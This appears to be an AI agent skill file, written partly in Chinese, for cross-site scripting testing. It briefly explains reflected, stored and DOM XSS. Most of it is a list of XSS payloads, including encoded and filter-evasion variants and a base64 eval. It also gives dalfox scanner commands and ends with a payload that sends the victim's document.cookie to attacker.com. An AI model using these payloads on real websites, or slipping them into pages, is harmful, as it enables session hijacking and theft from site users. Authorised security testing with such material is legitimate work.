[HINT] Download the complete skill directory including SKILL.md and all related files
| name | xss-testing |
| description | XSS跨站脚本攻击测试的专业技能 |
| version | 1.0.0 |
跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<ScRiPt>alert('XSS')</ScRiPt>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<div onmouseover=alert('XSS')>hover</div>
<input onfocus=alert('XSS') autofocus>
<a href="javascript:alert('XSS')">click</a>
<iframe src="javascript:alert('XSS')">
<script>alert(String.fromCharCode(88,83,83))</script>
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
<script>alert('XSS')</script>
# 基础扫描
dalfox url "http://target.com/page?q=test"
# 指定参数
dalfox url "http://target.com/page" -d "q=test" -X POST
# 使用自定义payload
dalfox url "http://target.com/page?q=test" --custom-payload payloads.txt
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
